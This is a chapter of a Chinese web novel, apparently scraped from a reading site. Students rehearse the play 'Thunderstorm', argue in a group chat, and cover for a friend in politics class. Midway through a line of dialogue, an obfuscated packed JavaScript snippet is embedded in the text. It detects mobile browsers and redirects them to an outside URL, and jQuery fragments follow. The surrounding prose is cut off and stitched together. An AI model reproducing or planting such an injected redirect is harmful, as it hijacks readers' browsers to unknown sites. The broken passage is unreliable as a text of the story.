30. 第30章

作品:《后排靠窗的同学也想上985

    回到家里打开手机的时候,看到小组群里又被许恒然拉进来两个人,他就跟有什么拉人的爱好一样。


    许恒然接着发了一条消息:【我现在去找孙老师申请退出行吗?】


    乔欣鱼:【为什么,你不是说演戏挺好玩的吗?】


    许恒然:【突然觉得很麻烦,而且,这个周萍这么讨厌,但我是单纯善良的,无论怎么演都演不出他那样的】


    乔欣鱼扔过来一个无语的表情包。


    温折春把手机放到一边,掀开剧本的首页,平躺在床上看了起来,从书包里拿来一支黄色的荧光笔,一边看一边把自己的台词画起来。


    比剧情更乱的是人物关系。


    鲁侍萍是周朴园的前相好。


    蘩漪是周朴园的现妻。


    鲁贵是侍萍的现任丈夫。


    周萍是侍萍和周朴园的第一个孩子。


    鲁大海是侍萍和周朴园的第二个孩子。


    周冲是蘩漪和周朴园的孩子。


    四凤是侍萍和鲁贵的孩子。


    蘩漪和周萍是情人关系。


    周萍和四凤还在谈恋爱,貌似还怀了个小孩子……


    温折春看得一脸懵,于是找了个《雷雨》的舞台剧来看。


    再晚点的时候,孙晴月把参演的几个同学拉进了一个群里,并且发过来一个平台的视频,那是他们要排练的第一场戏,鲁侍萍和周朴园在周公馆的对手戏。


    孙晴月特别艾特了温折春和宋屿,让他们两个好好看几遍,也提醒其余人看看演员深入人心的情感演示。


    温折春刚要点开视频认真学习一番,外面的群里开始叮叮咚咚地响。


    乔欣鱼和许恒然不知道又因为什么微不足道的小事情起了争执,劈里啪啦地在群里斗上图了,消息提示音不断地响起来。


    不到一会儿就已经出现几百条新消息了,刷屏刷得厉害。


    千军万马之中,程珩及其不悦地说:【有病吧,再刷我退群了】


    然而根本无人理会他,又或者是来不及理会,抵抗的消息刚发出去就已经石沉大海了。


    乔欣鱼在百忙之中回了他一句【开免打扰】,后面配了个翻白眼的表情包。


    程珩:【喂,你们两个是不是小时候发烧没去医院?】


    小学鸡才喜欢在群里斗图刷屏。


    乔欣鱼:【gun】


    温折春凑热闹,不久也加入进去,尽发一些最近添加的猎奇表情包。


    两秒钟之后,群里很久没说过话的黑白头像出现在视野里。


    宋屿:【去买点退烧药吧】


    温折春:【666戏还没拍先接上广子了】


    宋屿:【[微笑]】


    -


    礼堂的灯只开了些许几个,勉强能照得清眼前的画面,背后的布景还没有彻底完成,因此还比较简陋。


    “我是从前伺候过老爷的下人……”鲁侍萍语气沉重,如窗外沉闷的雷雨声那般。


    周朴园惊吓之余回过身去,似是要躲避眼前无可辩解的现实,他长叹出一口气,低声道:“侍萍……是你……”


    “你自然想不到!侍萍的相貌有一天也会——!”


    “停停,停一下!”孙晴月打断了台上人沉浸的表演,走上去对着温折春说:“还不错,但是侍萍,你刚才说这句话还没有到愤怒的程度,这个时候还应该是一种疲惫的,自嘲的,失望的情绪,明白吗?”


    “嗯,好的。”


    “还有就是,”孙晴月又对着宋屿说:“周朴园此时的内心是十分复杂的,你的情绪再到位一点,好吗?”


    “好。”


    “我服了……”底下看戏的许恒然叹了口气:“我怎么这么就倒霉,抽中了个给别人当儿子的角色?”


    周冲是周朴园和蘩漪所生,是最小的儿子,这让许恒然觉得自己好像在给宋屿当儿子,差出了一个辈分,还有点不太满意。


    “噢。”程恒哼笑:“那我比你好一点,我不仅是你大哥,还是你的小爸。”


    “傻吊——那我成辈分最小的了呗?”


    “不是,”程恒指指乔欣鱼,“有没有认真看过啊你?她辈分才是最小的。”


    “到底是谁没认真看?四凤比周冲大一岁好吗?”


    “周冲比四凤大一岁,弱智。”


    “我去……”许恒然气笑了,甩甩头,走过去拍了拍乔欣鱼:“你跟我谁更大?”


    乔欣鱼怔愣一秒:“你几月的?”


    “不是,我是问四凤和周冲谁大?”


    “四凤大。”她毫不犹豫地回答。


    许恒然底气十足,转过去身,只对着程珩说:“听到没有?四凤大!”


    程珩不以为然,嗤之以鼻:“两个弱智。”


    “骂谁呢你!”乔欣鱼掐着腰站起身来。


    “你们那边安静点,开始排练了!”


    孙晴月这话一出,除了台上的二人都安静了下来,不再乱说话。


    “侍萍……是你……”周朴园百感交集,转过身去。


    鲁侍萍自嘲般地笑了笑:“你自然想不到,侍萍的相貌有一天也会老得连你都不认识了。”


    孙晴月认真观察着,手抵着下巴,满意地点点头。


    周朴园的手颤抖了几瞬,不自觉望向柜上从前鲁侍萍的照片,良久,又望向侍萍。


    又过了半晌,他神情变得严厉:“你来干什么!”


    鲁侍萍悲愤交加:“不是我要来的!”


    “谁指使你来的!”


    鲁侍萍的掌心压在胸口,愤然道:“命!是不公平的命指使我来的!”


    “喂……”许恒然低声说:“其实我一直没懂,这个周朴园到底什么意思,刚才还说留着人家旧物不舍得扔什么的,怎么真见到了侍萍却要赶走人家呢?”


    “装的呗。”乔欣鱼道:“说是愧疚,其实愧疚之心小到自己都看不见,只是在别人面前装一装而已。”


    “原来如此,这么虚伪。”


    “对啊,”乔欣鱼侧着眼扫了扫许恒然:“男的都这样。”


    “诶,你可别一棍子打死所有啊。”


    程珩听到也不乐意了,望了一眼孙晴月,确保她听不到这边的窃窃私语,反驳她:“女的也有抛夫弃子的好吗,男的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983253|175301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又不都是这样。”


    “好吧,那我加个限定词好了,这剧里面大多数难道


    -


    “那么上节课,咱们讲到了这个社会存在和社会意识,还给大家留了一个作业,完整背下来这两者的关系,所以大家都背过了吗?”


    白板开着,课件只停留在开头的课题上。这话一问出来,讲台下的人都不敢吱声了,只有那么零落几个人敢回答她。


    政治老师在前几排转了几圈,盯了几眼,有点生气了:“头都低到桌子底下了,昨天就留了这么一项作业都没完成是吗,到底背了没有?”


    “……背&*……”


    众人的回答是七嘴八舌,模糊不清的。


    老师背着手,回到讲台上去,捏着那张按照成绩大小排序的名单:“既然都不愿意说,那我就随机抽一个人来回答。”


    她的手在名单上指点了两下,竖着滑下来:“乔欣鱼。”


    此时的乔欣鱼还在弯着腰照着镜子梳头发,听到自己的名字之后“唰”一下站了起来:“呃——”


    “你来背一下社会存在和社会意识这两者的关系。”


    “社会存在……”乔欣鱼桌子底下的手对着许恒然的胳膊捏了一把。


    “嘶……”许恒然倒吸了一口气,做贼似的抬头去看前面的老师,声音压到最低:“拧我也没用啊,我又没做笔记,咋知道什么存在什么意识的……”


    乔欣鱼此刻只恨自己没有一个靠谱的同桌,手指捏了捏课本书皮的边,就算想翻开偷看一眼都做不到,因为她不知道这部分内容在哪一页。


    “说呀。”老师皱了皱眉,开始催促。


    “社会存在……”乔欣鱼有点烦了,刚要坦白说不会,视线里毫无预兆地闯进来问题的答案,用不同颜色的荧光笔勾画地清清楚楚,她使劲忍住笑。


    温折春仗着前面人长得高点,竟将政治课本竖了起来,故意翻到她提问的那一页,生怕乔欣鱼注意不到,还拿着根笔明明白白指着。


    “噢,那个是……”她照着书磕磕绊绊地念:“社会存在决定社会意识,社会存在的变化发展决定社会意识的变化发展……”


    能念下来是因为她眼底下有书,磕磕绊绊是因为要时不时看看别的地方打消老师的疑虑。


    温折春边举着书还要边偷看一下老师有没有注意到她,她突然又想起来身边还有一个隐形的风险,于是侧过脸看向宋屿。


    也许是感受到了她那道突如其来的目光,宋屿也转过来头,与她对视上,怔了一怔,眉心向上挑起,像是在问她什么意思。


    温折春见状立马摇头。


    原来他还没这想法。


    宋屿就要敛回视线,却在无意中看到了被温折春捧着的竖起来的书,很快明白了她的意思。


    于是从喉间轻轻发出一声笑,轻到只有她能听得到。


    温折春顿时觉得有危险,她单手立着书,腾出来的一只手从底下掏出来一本厚重的红皮现代汉语词典,搬上来压到了宋屿的右手上。


    “劝你善良点。”


    “我本来还没这么想,你倒是提醒我了。”宋屿说。